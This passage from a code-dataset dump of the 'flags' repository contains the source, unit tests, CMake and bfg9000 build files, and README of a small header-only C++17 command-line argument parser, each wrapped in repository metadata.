{\n const auto fixture = args_fixture::create(\n {\"positional\", \"arguments\", \"-with\", \"--some\", \"---options\"});\n expect(fixture.args().positional().size(), equal_to(2));\n expect(fixture.args().positional()[0], equal_to(\"positional\"));\n expect(fixture.args().positional()[1], equal_to(\"arguments\"));\n // Tests for positional getters\n expect(fixture.args().get<std::string_view>(0), equal_to(\"positional\"));\n expect(fixture.args().get<std::string_view>(1), equal_to(\"arguments\"));\n expect(fixture.args().get<std::string_view>(2), equal_to(std::nullopt));\n expect(fixture.args().get<std::string>(0, \"default\"),\n equal_to(\"positional\"));\n expect(fixture.args().get<std::string>(1, \"default\"),\n equal_to(\"arguments\"));\n expect(fixture.args().get<std::string>(2, \"default\"), equal_to(\"default\"));\n });\n\n // Adding flags to the mix.\n _.test(\"with flags\", []() {\n const auto fixture = args_fixture::create(\n {\"--flag\", \"\\\"not positional\\\"\", \"positional\", \"--another-flag\", \"foo\",\n \"arguments\", \"--bar\", \"42\"});\n expect(fixture.args().positional().size(), equal_to(2));\n expect(fixture.args().positional()[0], equal_to(\"positional\"));\n expect(fixture.args().positional()[1], equal_to(\"arguments\"));\n // Tests for positional getters\n expect(fixture.args().get<std::string_view>(0), equal_to(\"positional\"));\n expect(fixture.args().get<std::string_view>(1), equal_to(\"arguments\"));\n expect(fixture.args().get<std::string_view>(2), equal_to(std::nullopt));\n expect(fixture.args().get<std::string>(0, \"default\"),\n equal_to(\"positional\"));\n expect(fixture.args().get<std::string>(1, \"default\"),\n equal_to(\"arguments\"));\n expect(fixture.args().get<std::string>(2, \"default\"), equal_to(\"default\"));\n });\n\n // Adding both flags and options.\n _.test(\"with flags and options\", []() {\n const auto fixture = args_fixture::create(\n {\"--flag\", \"\\\"not positional\\\"\", \"positional\", \"--another-flag\", \"foo\",\n \"arguments\", \"--bar\", \"42\", \"--some\", \"--options\", \"--foobaz\"});\n expect(fixture.args().positional().size(), equal_to(2));\n expect(fixture.args().positional()[0], equal_to(\"positional\"));\n expect(fixture.args().positional()[1], equal_to(\"arguments\"));\n // Tests for positional getters\n expect(fixture.args().get<std::string_view>(0), equal_to(\"positional\"));\n expect(fixture.args().get<std::string_view>(1), equal_to(\"arguments\"));\n expect(fixture.args().get<std::string_view>(2), equal_to(std::nullopt));\n expect(fixture.args().get<std::string>(0, \"default\"),\n equal_to(\"positional\"));\n expect(fixture.args().get<std::string>(1, \"default\"),\n equal_to(\"arguments\"));\n expect(fixture.args().get<std::string>(2, \"default\"), equal_to(\"default\"));\n });\n});\n\nsuite<> flag_parsing(\"flag parsing\", [](auto& _) {\n // Basic bool parsing.\n _.test(\"bool\", []() {\n const auto fixture =\n args_fixture::create({\"--foo\", \"1\", \"--bar\", \"no\", \"--verbose\"});\n expect(*fixture.args().get<bool>(\"foo\"), equal_to(true));\n expect(fixture.args().get<bool>(\"foo\", false), equal_to(true));\n expect(*fixture.args().get<bool>(\"bar\"), equal_to(false));\n expect(*fixture.args().get<bool>(\"verbose\"), equal_to(true));\n expect(fixture.args().get<bool>(\"nonexistent\"), equal_to(std::nullopt));\n });\n\n // Verifying all the falsities are actually false.\n _.test(\"falsities\", []() {\n for (const auto falsity : flags::detail::falsities) {\n const auto fixture = args_fixture::create({\"--foo\", falsity});\n expect(*fixture.args().get<bool>(\"foo\"), equal_to(false));\n expect(fixture.args().get<bool>(\"foo\", true), equal_to(false));\n }\n });\n\n // Complex strings are succesfully parsed.\n _.test(\"string\", []() {\n constexpr char LOREM_IPSUM[] =\n \"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do \"\n \"eiusmod tempor incididunt ut labore et dolore magna aliqua.\";\n const auto fixture = args_fixture::create({\"--foo\", LOREM_IPSUM});\n expect(*fixture.args().get<std::string>(\"foo\"),\n equal_to(std::string(LOREM_IPSUM)));\n });\n\n // Empty values\n _.test(\"empty\", [](){\n const auto fixture = args_fixture::create({\"--foo\", \"\"});\n expect(*fixture.args().get<std::string>(\"foo\"), equal_to(\"\"));\n });\n\n // Multiple values for one flag\n _.test(\"multiple\", [](){\n const auto fixture = args_fixture::create({\"--foo\", \"bar\", \"--foo\", \"baz\"});\n auto foo = fixture.args().get_multiple<std::string>(\"foo\");\n expect(foo.size(), equal_to(2));\n expect(foo[0].value(), equal_to(\"bar\"));\n expect(foo[1].value(), equal_to(\"baz\"));\n });\n\n _.test(\"multiple with type\", [](){\n const auto fixture = args_fixture::create({\"-x\", \"-x\", \"1\", \"-x\", \"2\"});\n auto x = fixture.args().get_multiple<int>(\"x\", 0);\n expect(x.size(), equal_to(3));\n expect(x[0], equal_to(0));\n expect(x[1], equal_to(1));\n expect(x[2], equal_to(2));\n });\n\n _.test(\"multiple falsities\", [](){\n std::vector<const char*> args;\n for (const auto falsity : flags::detail::falsities) {\n args.push_back(\"--foo\");\n args.push_back(falsity);\n }\n const auto fixture = args_fixture::create(args);\n const auto foos1 = fixture.args().get_multiple<bool>(\"foo\");\n for (const auto& foo : foos1) {\n expect(foo && *foo, equal_to(false));\n }\n const auto foos2 = fixture.args().get_multiple<bool>(\"foo\", true);\n for (const auto& foo : foos2) {\n expect(foo, equal_to(false));\n }\n });\n\n _.test(\"multiple valueless flags\", [](){\n const auto fixture = args_fixture::create({\"--foo\", \"-foo\", \"--foo\", \"-foo\"});\n const auto foos = fixture.args().get_multiple<bool>(\"foo\");\n expect(foos.size(), equal_to(4));\n for (const auto& foo : foos) {\n expect(static_cast<bool>(foo), equal_to(true));\n }\n });\n\n // Basic number parsing. Verifying ints are truncated and doubles are\n // succesfully parsed.\n _.test(\"numbers\", []() {\n const auto fixture =\n args_fixture::create({\"--foo\", \"42\", \"--bar\", \"42.42\"});\n expect(*fixture.args().get<int>(\"foo\"), equal_to(42));\n expect(*fixture.args().get<double>(\"foo\"), equal_to(42));\n expect(*fixture.args().get<int>(\"bar\"), equal_to(42));\n expect(*fixture.args().get<double>(\"bar\"), equal_to(42.42));\n expect(fixture.args().get<int>(\"foobar\", 42), equal_to(42));\n expect(fixture.args().get<double>(\"foobar\", 42.4242), equal_to(42.4242));\n expect(fixture.args().get<int>(\"foobar\"), equal_to(std::nullopt));\n expect(fixture.args().get<double>(\"foobar\"), equal_to(std::nullopt));\n });\n});\n"},{"alpha_fraction":0.7082551717758179,"alphanum_fraction":0.7129455804824829,"avg_line_length":35.13559341430664,"blob_id":"288024dcdf293ff385a6bd2ae919f9cac0ae2df6","content_id":"20c680fbbb2c7d85eac0ab2e56fb89e91e076cd6","detected_licenses":["LicenseRef-scancode-public-domain","Unlicense"],"is_generated":false,"is_vendor":false,"language":"CMake","length_bytes":2132,"license_type":"permissive","max_line_length":92,"num_lines":59,"path":"/CMakeLists.txt","repo_name":"sailormoon/flags","src_encoding":"UTF-8","text":"cmake_minimum_required(VERSION 3.12)\n\nproject(\n flags\n VERSION\n 1.0.0\n DESCRIPTION\n \"Simple, extensible, header-only C++17 argument parser released into the public domain.\"\n HOMEPAGE_URL\n \"https://github.com/sailormoon/flags\")\n\nadd_library(${PROJECT_NAME} INTERFACE)\n\n# Add alias so the project can be used with add_subdirectory\nadd_library(${PROJECT_NAME}::${PROJECT_NAME} ALIAS ${PROJECT_NAME})\n\ninclude(GNUInstallDirs)\n\n# Adding the install interface generator expression makes sure that the include\n# files are installed to the proper location (provided by GNUInstallDirs)\ntarget_include_directories(\n ${PROJECT_NAME}\n INTERFACE $<BUILD_INTERFACE:${${PROJECT_NAME}_SOURCE_DIR}/include>\n $<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>)\n\ntarget_compile_features(${PROJECT_NAME} INTERFACE cxx_std_17)\n\n# Locations are provided by GNUInstallDirs\ninstall(TARGETS ${PROJECT_NAME}\n EXPORT ${PROJECT_NAME}_Targets\n ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}\n LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}\n RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR})\n\ninclude(CMakePackageConfigHelpers)\nwrite_basic_package_version_file(\"${PROJECT_NAME}ConfigVersion.cmake\"\n VERSION ${PROJECT_VERSION}\n COMPATIBILITY SameMajorVersion)\n\nconfigure_package_config_file(\n \"${PROJECT_SOURCE_DIR}/cmake/${PROJECT_NAME}Config.cmake.in\"\n \"${PROJECT_BINARY_DIR}/${PROJECT_NAME}Config.cmake\"\n INSTALL_DESTINATION\n ${CMAKE_INSTALL_DATAROOTDIR}/${PROJECT_NAME}/cmake)\n\ninstall(EXPORT ${PROJECT_NAME}_Targets\n FILE ${PROJECT_NAME}Targets.cmake\n NAMESPACE ${PROJECT_NAME}::\n DESTINATION ${CMAKE_INSTALL_DATAROOTDIR}/${PROJECT_NAME}/cmake)\n\ninstall(FILES \"${PROJECT_BINARY_DIR}/${PROJECT_NAME}Config.cmake\"\n \"${PROJECT_BINARY_DIR}/${PROJECT_NAME}ConfigVersion.cmake\"\n DESTINATION ${CMAKE_INSTALL_DATAROOTDIR}/${PROJECT_NAME}/cmake)\n\ninstall(DIRECTORY ${PROJECT_SOURCE_DIR}/include/${PROJECT_NAME} DESTINATION include)\n\nset(CPACK_RESOURCE_FILE_LICENSE \"${PROJECT_SOURCE_DIR}/LICENSE\")\n\ninclude(CPack)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6736325621604919,\n \"alphanum_fraction\": 0.6807854175567627,\n \"avg_line_length\": 25.604476928710938,\n \"blob_id\": \"c198411a370dd739f32a3da560066221366fb79d\",\n \"content_id\": \"0d63a5502029dc7f00bc43cea8ff69c45d65fa73\",\n \"detected_licenses\": [\n \"LicenseRef-scancode-public-domain\",\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 7132,\n \"license_type\": \"permissive\",\n \"max_line_length\": 227,\n \"num_lines\": 268,\n \"path\": \"/README.md\",\n \"repo_name\": \"sailormoon/flags\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ⛳ flags\\n[](https://travis-ci.org/sailormoon/flags)\\n\\nSimple, extensible, header-only C++17 argument parser released into the public domain.\\n\\n\\n<!-- vim-markdown-toc GFM -->\\n\\n* [why](#why)\\n* [requirements](#requirements)\\n* [api](#api)\\n * [get](#get)\\n * [get (with default value)](#get-with-default-value)\\n * [positional](#positional)\\n* [usage](#usage)\\n * [example](#example)\\n * [another example](#another-example)\\n * [extensions](#extensions)\\n * [example](#example-1)\\n * [command line details](#command-line-details)\\n * [key formatting](#key-formatting)\\n * [value assignment](#value-assignment)\\n * [bools](#bools)\\n* [testing](#testing)\\n* [contributing](#contributing)\\n\\n<!-- vim-markdown-toc -->\\n\\n# why\\nOther argument parsers are:\\n- bloated\\n- non-extensible\\n- not modern\\n- complicated\\n\\n# requirements\\nGCC 7.0 or Clang 4.0.0 at a minimum. This library makes extensive use of `optional`, `nullopt`, and `string_view`.\\n\\n# api\\n`flags::args` exposes seven methods:\\n\\n## get\\n`std::optional<T> get(const std::string_view& key) const`\\n\\nAttempts to parse the given key on the command-line. If the string is malformed or the argument was not passed, returns `nullopt`. Otherwise, returns the parsed type as an optional.\\n\\n## get (with default value)\\n`T get(const std::string_view& key, T&& default_value) const`\\n\\nFunctions the same as `get`, except if the value is malformed or the key was not provided, returns `default_value`. Otherwise, returns the parsed type.\\n\\n## get_multiple\\n`std::vector<std::optional<T>> get_multiple(const std::string_view& option) const`\\n\\nGet all values passed for an option. If no value is specified (`--foo --bar`) or the value is malformed, `nullopt` will be used. Values will be in the order they were passed.\\n\\n## get_multiple (with default value)\\n`std::vector<T> get_multiple(const std::string_view& option, T&& default_value) const`\\n\\nFunctions the same as `get_multiple`, except if the value is malformed or no value is provided, `default_value` will be used.\\n\\n## get (positional)\\n`std::optional<T> get(size_t positional_index) const`\\n\\nGet an argument from the positional arguments at a specified index. If the value is malformed or the index is invalid, `nullopt` is returned.\\n\\n## get (positional with default value)\\n`T get(size_t positional_index, T&& default_value) const`\\n\\nFunctions the same as positional `get`, except if the value is malformed or the index is invalid, returns `default_value`. Otherwise, returns the parsed type.\\n\\n## positional\\n`const std::vector<std::string_view>& positional() const`\\n\\nReturns all of the positional arguments from argv in order.\\n\\n# usage\\n### just the headers\\nJust include `flags.h` from the `include` directory into your project.\\n\\n## Using CMake\\n\\n### CMake Installation\\n\\nFlags can be built and installed using [CMake], e.g.\\n\\n```sh\\n$ mkdir build\\n$ cd build\\n$ cmake ..\\n$ make\\n$ make install\\n```\\n\\nThe above will install Flags into the standard installation path on a UNIX\\nsystem, e.g. `/usr/local/include/`. To change the installation path, use:\\n\\n```sh\\n$ cmake .. -DCMAKE_INSTALL_PREFIX=../install\\n```\\n\\nin the above.\\n\\n### `find_package`\\n\\nInstallation creates a `flags-config.cmake` which allows CMake\\nprojects to find Flags using `find_package`:\\n\\n```cmake\\nfind_package(flags)\\n```\\n\\nThis exports the `flags` target which can be linked against any other\\ntarget. Linking against `flags` automatically sets the include\\ndirectories and required flags for C++17 or later. For example:\\n\\n```cmake\\nadd_executable(myexe mysources...)\\ntarget_link_libraries(myexe PRIVATE flags)\\n```\\n\\n### `add_subdirectory`\\n\\nThe Flags can also be added as a dependency with `add_subdirectory`:\\n\\n```cmake\\nadd_subdirectory(path/to/flags)\\n```\\n\\nThis also exports the `flags` target which can be linked against any\\nother target just as with the installation case.\\n\\n## example\\n```c++\\n#include \\\"flags.h\\\" // #include <flags.h> for cmake\\n#include <iostream>\\n\\nint main(int argc, char** argv) {\\n const flags::args args(argc, argv);\\n\\n const auto count = args.get<int>(\\\"count\\\");\\n if (!count) {\\n std::cerr << \\\"No count supplied. :(\\\\n\\\";\\n return 1;\\n }\\n std::cout << \\\"That's \\\" << *count << \\\" incredible, colossal credits!\\\\n\\\";\\n\\n if (args.get<bool>(\\\"laugh\\\", false)) {\\n std::cout << \\\"Ha ha ha ha!\\\\n\\\";\\n }\\n return 0;\\n}\\n```\\n```bash\\n$ ./program\\n> No count supplied. :(\\n```\\n```bash\\n$ ./program --count=5 --laugh\\n> That's 5 incredible, colossal credits!\\n> Ha ha ha ha!\\n```\\n\\n## another example\\n```c++\\n#include \\\"flags.h\\\" // #include <flags.h> for cmake\\n#include <iostream>\\n#include <string>\\n\\nint main(int argc, char** argv) {\\n const flags::args args(argc, argv);\\n const auto& files = args.positional();\\n const auto verbose = args.get<bool>(\\\"verbose\\\", false);\\n if (verbose) {\\n std::cout << \\\"I'm a verbose program! I'll be reading the following files:\\\\n\\\";\\n for (const auto& file : files) {\\n std::cout << \\\"* \\\" << file << '\\\\n';\\n }\\n }\\n // read files(files);\\n return 0;\\n}\\n```\\n```bash\\n$ ./program /tmp/one /tmp/two /tmp/three --verbose\\n> I'm a verbose program! I'll be reading the following files:\\n> * /tmp/one\\n> * /tmp/two\\n> * /tmp/three\\n```\\n```bash\\n$ ./program /tmp/one /tmp/two /tmp/three --noverbose\\n>%\\n```\\n\\n## extensions\\n`flags` simply uses the `istream` operator to parse values from `argv`. To extend the parser to support your own types, just supply an overloaded `>>`.\\n\\n### example\\n```c++\\nstruct Date {\\n int day;\\n int month;\\n int year;\\n};\\n\\n// Custom parsing code.\\nstd::istream& operator>>(std::istream& stream, Date& date) {\\n return stream >> date.day >> date.month >> date.year;\\n}\\n\\nint main(int argc, char** argv) {\\n const flags::args args(argc, argv);\\n if (const auto date = args.get<Date>(\\\"date\\\")) {\\n // Output %Y/%m/%d if a date was provided.\\n std::cout << date->year << \\\":\\\" << date->month << \\\":\\\" << date->day << '\\\\n';\\n return 0;\\n }\\n // Sad face if no date was provided or if the input was malformed.\\n std::cerr << \\\":(\\\\n\\\";\\n return 1;\\n}\\n```\\n\\n```bash\\n$ ./program --date=\\\"10 11 2016\\\"\\n> 2016:11:10\\n```\\n\\n```bash\\n$ ./program\\n> :(\\n```\\n\\n## command line details\\n`flags`'s primary goal is to be simple to use for both the user and programmer.\\n\\n### key formatting\\nA key can have any number of preceding `-`s, but must have more than 0.\\nThe following are valid keys:\\n- `-key`\\n- `--key`\\n- `-------------key`\\n\\n### value assignment\\nA value can be assigned to a key in one of two ways:\\n- `$ ./program --key=value`\\n- `$ ./program --key value`\\n\\n#### bools\\nbooleans are a special case. The following values make an argument considered `false`-y when parsed as a bool:\\n- `f`\\n- `false`\\n- `n`\\n- `no`\\n- `0`\\n\\nIf none of these conditions are met, the bool is considered `true`.\\n\\n# testing\\nflags uses both [bfg9000](https://github.com/jimporter/bfg9000) and [mettle](https://github.com/jimporter/mettle) for unit-testing. After installing both `bfg9000` and `mettle`, run the following commands to kick off the tests:\\n\\n1. `9k build/`\\n2. `cd build`\\n3. `ninja test`\\n\\n# contributing\\nContributions of any variety are greatly appreciated. All code is passed through `clang-format` using the Google style.\\n\"\n },\n {\n \"alpha_fraction\": 0.6518265008926392,\n \"alphanum_fraction\": 0.6524491310119629,\n \"avg_line_length\": 32,\n \"blob_id\": \"4890b910276acdb5e5fbb693bf79276e3fea397e\",\n \"content_id\": \"3063f495d9a801a0b456a7fbfdd6d8d8e66ff6aa\",\n \"detected_licenses\": [\n \"LicenseRef-scancode-public-domain\",\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 9636,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 292,\n \"path\": \"/include/flags.h\",\n \"repo_name\": \"sailormoon/flags\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#ifndef FLAGS_H_\\n#define FLAGS_H_\\n\\n#include <algorithm>\\n#include <array>\\n#include <optional>\\n#include <sstream>\\n#include <string>\\n#include <string_view>\\n#include <unordered_map>\\n#include <vector>\\n\\nnamespace flags {\\nnamespace detail {\\nusing argument_map =\\n std::unordered_map<std::string_view, std::vector<std::optional<std::string_view>>>;\\n\\n// Non-destructively parses the argv tokens.\\n// * If the token begins with a -, it will be considered an option.\\n// * If the token does not begin with a -, it will be considered a value for the\\n// previous option. If there was no previous option, it will be considered a\\n// positional argument.\\nstruct parser {\\n parser(const int argc, char** argv) {\\n for (int i = 1; i < argc; ++i) {\\n churn(argv[i]);\\n }\\n // If the last token was an option, it needs to be drained.\\n flush();\\n }\\n parser& operator=(const parser&) = delete;\\n\\n const argument_map& options() const { return options_; }\\n const std::vector<std::string_view>& positional_arguments() const {\\n return positional_arguments_;\\n }\\n\\n private:\\n // Advance the state machine for the current token.\\n void churn(const std::string_view& item) {\\n if(item.empty())\\n {\\n on_value(item);\\n return;\\n }\\n item.at(0) == '-' ? on_option(item) : on_value(item);\\n }\\n\\n // Consumes the current option if there is one.\\n void flush() {\\n if (current_option_) on_value();\\n }\\n\\n void on_option(const std::string_view& option) {\\n // Consume the current_option and reassign it to the new option while\\n // removing all leading dashes.\\n flush();\\n current_option_ = option;\\n current_option_->remove_prefix(current_option_->find_first_not_of('-'));\\n\\n // Handle a packed argument (--arg_name=value).\\n if (const auto delimiter = current_option_->find_first_of('=');\\n delimiter != std::string_view::npos) {\\n auto value = *current_option_;\\n value.remove_prefix(delimiter + 1 /* skip '=' */);\\n current_option_->remove_suffix(current_option_->size() - delimiter);\\n on_value(value);\\n }\\n }\\n\\n void on_value(const std::optional<std::string_view>& value = std::nullopt) {\\n // If there's not an option preceding the value, it's a positional argument.\\n if (!current_option_) {\\n if (value) positional_arguments_.emplace_back(*value);\\n return;\\n }\\n // Consume the preceding option and assign its value.\\n // operator[] will insert an empty vector if needed\\n options_[*current_option_].emplace_back(std::move(value));\\n current_option_.reset();\\n }\\n\\n std::optional<std::string_view> current_option_;\\n argument_map options_;\\n std::vector<std::string_view> positional_arguments_;\\n};\\n\\n// If a key exists, return an optional populated with its value.\\ninline std::optional<std::string_view> get_value(\\n const argument_map& options, const std::string_view& option) {\\n if (const auto it = options.find(option); it != options.end()) {\\n // If a key exists, there must be at least one value\\n return it->second[0];\\n }\\n return std::nullopt;\\n}\\n\\n// If a key exists, return a vector with its values\\ninline std::vector<std::optional<std::string_view>> get_values(\\n const argument_map& options, const std::string_view& option) {\\n if (const auto it = options.find(option); it != options.end()) {\\n return it->second;\\n }\\n return {};\\n}\\n\\n// Coerces the string value of the given option into <T>.\\n// If the value cannot be properly parsed or the key does not exist, returns\\n// nullopt.\\ntemplate <class T>\\nstd::optional<T> get(const argument_map& options,\\n const std::string_view& option) {\\n if (const auto view = get_value(options, option)) {\\n if (T value; std::istringstream(std::string(*view)) >> value) return value;\\n }\\n return std::nullopt;\\n}\\n\\n// Since the values are already stored as strings, there's no need to use `>>`.\\ntemplate <>\\ninline std::optional<std::string_view> get(const argument_map& options,\\n const std::string_view& option) {\\n return get_value(options, option);\\n}\\n\\ntemplate <>\\ninline std::optional<std::string> get(const argument_map& options,\\n const std::string_view& option) {\\n if (const auto view = get<std::string_view>(options, option)) {\\n return std::string(*view);\\n }\\n return std::nullopt;\\n}\\n\\n// Special case for booleans: if the value is any of the below, the option will\\n// be considered falsy. Otherwise, it will be considered truthy just for being\\n// present.\\nconstexpr std::array<const char*, 5> falsities{{\\\"0\\\", \\\"n\\\", \\\"no\\\", \\\"f\\\", \\\"false\\\"}};\\ntemplate <>\\ninline std::optional<bool> get(const argument_map& options,\\n const std::string_view& option) {\\n if (const auto value = get_value(options, option)) {\\n return std::none_of(falsities.begin(), falsities.end(),\\n [&value](auto falsity) { return *value == falsity; });\\n }\\n if (options.find(option) != options.end()) return true;\\n return std::nullopt;\\n}\\n\\n// Coerces the string values of the given option into std::vector<T>.\\n// If a value cannot be properly parsed it is not added. If there are\\n// no suitable values or the key does not exist, returns nullopt.\\ntemplate <class T>\\nstd::vector<std::optional<T>> get_multiple(const argument_map& options,\\n const std::string_view& option) {\\n std::vector<std::optional<T>> values;\\n const auto views = get_values(options, option);\\n for (const auto &view : views) {\\n if (!view) {\\n values.push_back(std::nullopt);\\n continue;\\n }\\n if (T value; std::istringstream(std::string(*view)) >> value) {\\n values.push_back(value);\\n } else {\\n values.push_back(std::nullopt);\\n }\\n }\\n return values;\\n}\\n\\n// Since the values are already stored as strings, there's no need to use `>>`.\\ntemplate <>\\ninline std::vector<std::optional<std::string_view>> get_multiple(\\n const argument_map& options, const std::string_view& option) {\\n return get_values(options, option);\\n}\\n\\ntemplate <>\\ninline std::vector<std::optional<std::string>> get_multiple(\\n const argument_map& options, const std::string_view& option) {\\n const auto views = get_values(options, option);\\n std::vector<std::optional<std::string>> values(views.begin(), views.end());\\n return values;\\n}\\n\\n// Special case for booleans: if the value is in the falsities array (see get<bool>)\\n// the option will be considered falsy. Otherwise, it will be considered truthy just\\n// for being present.\\ntemplate <>\\ninline std::vector<std::optional<bool>> get_multiple(\\n const argument_map& options, const std::string_view& option) {\\n const auto views = get_values(options, option);\\n std::vector<std::optional<bool>> values;\\n for (const auto view : views) {\\n if (!view) {\\n values.push_back(true);\\n continue;\\n }\\n values.push_back(std::none_of(falsities.begin(), falsities.end(),\\n [&view](auto falsity) { return view == falsity; }));\\n }\\n return values;\\n}\\n\\n// Coerces the string value of the given positional index into <T>.\\n// If the value cannot be properly parsed or the key does not exist, returns\\n// nullopt.\\ntemplate <class T>\\nstd::optional<T> get(const std::vector<std::string_view>& positional_arguments,\\n size_t positional_index) {\\n if (positional_index < positional_arguments.size()) {\\n if (T value; std::istringstream(\\n std::string(positional_arguments[positional_index])) >>\\n value)\\n return value;\\n }\\n return std::nullopt;\\n}\\n\\n// Since the values are already stored as strings, there's no need to use `>>`.\\ntemplate <>\\ninline std::optional<std::string_view> get(\\n const std::vector<std::string_view>& positional_arguments,\\n size_t positional_index) {\\n if (positional_index < positional_arguments.size()) {\\n return positional_arguments[positional_index];\\n }\\n return std::nullopt;\\n}\\n\\ntemplate <>\\ninline std::optional<std::string> get(\\n const std::vector<std::string_view>& positional_arguments,\\n size_t positional_index) {\\n if (positional_index < positional_arguments.size()) {\\n return std::string(positional_arguments[positional_index]);\\n }\\n return std::nullopt;\\n}\\n} // namespace detail\\n\\nstruct args {\\n args(const int argc, char** argv) : parser_(argc, argv) {}\\n\\n template <class T>\\n std::optional<T> get(const std::string_view& option) const {\\n return detail::get<T>(parser_.options(), option);\\n }\\n\\n template <class T>\\n T get(const std::string_view& option, T&& default_value) const {\\n return get<T>(option).value_or(default_value);\\n }\\n\\n template <class T>\\n std::vector<std::optional<T>> get_multiple(const std::string_view& option) const {\\n return detail::get_multiple<T>(parser_.options(), option);\\n }\\n\\n template <class T>\\n std::vector<T> get_multiple(const std::string_view& option, T&& default_value) const {\\n const auto items = get_multiple<T>(option);\\n std::vector<T> values;\\n values.reserve(items.size());\\n for(const auto& item : items) {\\n values.push_back(item ? *item : default_value);\\n }\\n return values;\\n }\\n\\n template <class T>\\n std::optional<T> get(size_t positional_index) const {\\n return detail::get<T>(parser_.positional_arguments(), positional_index);\\n }\\n\\n template <class T>\\n T get(size_t positional_index, T&& default_value) const {\\n return get<T>(positional_index).value_or(default_value);\\n }\\n\\n const std::vector<std::string_view>& positional() const {\\n return parser_.positional_arguments();\\n }\\n\\n private:\\n const detail::parser parser_;\\n};\\n\\n} // namespace flags\\n\\n#endif // FLAGS_H_\\n\"\n },\n {\n \"alpha_fraction\": 0.5958549380302429,\n \"alphanum_fraction\": 0.6148532032966614,\n \"avg_line_length\": 23.125,\n \"blob_id\": \"bb4637b84b4338aadc85f41c8d9d4ce4ae7d23c5\",\n \"content_id\": \"d0cd5f4b694b67339eb11bb601f116aa0a1322d2\",\n \"detected_licenses\": [\n \"LicenseRef-scancode-public-domain\",\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 579,\n \"license_type\": \"permissive\",\n \"max_line_length\": 74,\n \"num_lines\": 24,\n \"path\": \"/build.bfg\",\n \"repo_name\": \"sailormoon/flags\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- python -*-\\n\\nimport os\\nfrom os.path import splitext\\n\\nbfg9000_required_version('>=0.2.0')\\nproject('flags', version='1.0pre')\\n\\nglobal_options(['-std=c++1z', '-Wall', '-Wextra', '-Werror', '-pedantic'],\\n lang='c++')\\nmettle = package('mettle')\\nincludes = header_directory('include', include='*.h')\\ndriver = test_driver(\\n 'mettle -o verbose'\\n)\\n\\nfor src in find_files('test/*.cc'):\\n path = os.path.join('test', src.path.basename())\\n test(executable(\\n splitext(path)[0],\\n files=[path],\\n includes=includes,\\n packages=mettle,\\n ), driver=driver)\\n\"\n },\n {\n \"alpha_fraction\": 0.6055071353912354,\n \"alphanum_fraction\": 0.6157055497169495,\n \"avg_line_length\": 39.09665298461914,\n \"blob_id\": \"a8657efb16862ef71ab1ed63a2c5cee42fd456d2\",\n \"content_id\": \"e40a88c73caed3f694b4c123b76d93594841b5f4\",\n \"detected_licenses\": [\n \"LicenseRef-scancode-public-domain\",\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 10786,\n \"license_type\": \"permissive\",\n \"max_line_length\": 82,\n \"num_lines\": 269,\n \"path\": \"/test/flags.cc\",\n \"repo_name\": \"sailormoon/flags\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include \\\"flags.h\\\"\\n\\n#include <array>\\n#include <mettle.hpp>\\n#include <stdexcept>\\n#include <string>\\n#include <string_view>\\n#include <cstring>\\n#include <algorithm>\\n\\nusing namespace mettle;\\n\\nnamespace {\\n// TODO: Initialize argv into unique_ptr so RAII can take care of everything.\\n// Currently C-style initialization and deletion purely out of laziness. :(\\n\\n// Allocates a position within argv and copies the given view to it.\\n// argv must already be allocated.\\nvoid initialize_arg(char** argv, const size_t index,\\n const std::string_view& view) {\\n argv[index] =\\n reinterpret_cast<char*>(malloc((view.size() + 1) * sizeof(char)));\\n memcpy(argv[index], view.data(), view.size() + 1);\\n}\\n\\n// Allocates all of argv from the given argument array.\\n// - argv[0] will always be TEST, there is no need to pass a program argument.\\n// - argv(0, N) will contain the passed in array.\\n// - argv[N] will always be NULL.\\n// argv's final size will be the array's size plus two due to the first and last\\n// conditions.\\nchar** initialize_argv(const std::initializer_list<const char*> args) {\\n char** argv =\\n reinterpret_cast<char**>(malloc((args.size() + 2) * sizeof(char*)));\\n initialize_arg(argv, 0, \\\"TEST\\\");\\n std::size_t i = 0;\\n for (const auto& arg : args) {\\n initialize_arg(argv, ++i, arg);\\n }\\n argv[args.size() + 1] = NULL;\\n return argv;\\n}\\n\\n// Same as above but using a std::vector\\nchar** initialize_argv(const std::vector<const char*>& args) {\\n char** argv =\\n reinterpret_cast<char**>(malloc((args.size() + 2) * sizeof(char*)));\\n initialize_arg(argv, 0, \\\"TEST\\\");\\n std::size_t i = 0;\\n for (const auto& arg : args) {\\n initialize_arg(argv, ++i, arg);\\n }\\n argv[args.size() + 1] = NULL;\\n return argv;\\n}\\n\\n// Cleans up every item within argv, then argv itself.\\nvoid cleanup_argv(char** argv) {\\n size_t index = 0;\\n while (argv[index]) delete[] argv[index++];\\n delete argv;\\n}\\n} // namespace\\n\\n// Simple fixture for (de)allocating argv and initalizing flags::args.\\nstruct args_fixture {\\n static args_fixture create(const std::initializer_list<const char*> args) {\\n return {args.size(), initialize_argv(args)};\\n }\\n static args_fixture create(const std::vector<const char*>& args) {\\n return {args.size(), initialize_argv(args)};\\n }\\n ~args_fixture() { cleanup_argv(argv_); }\\n\\n size_t argc() const { return argc_; }\\n const flags::args& args() const { return args_; }\\n std::string argv(const size_t index) const {\\n if (index >= argc_) throw std::out_of_range(\\\"index larger than argc\\\");\\n return argv_[index];\\n };\\n\\n private:\\n args_fixture(const size_t argc, char** argv)\\n : argc_(argc + 1 /* for program */), argv_(argv), args_(argc_, argv) {}\\n const size_t argc_;\\n char** argv_;\\n const flags::args args_;\\n};\\n\\nsuite<> 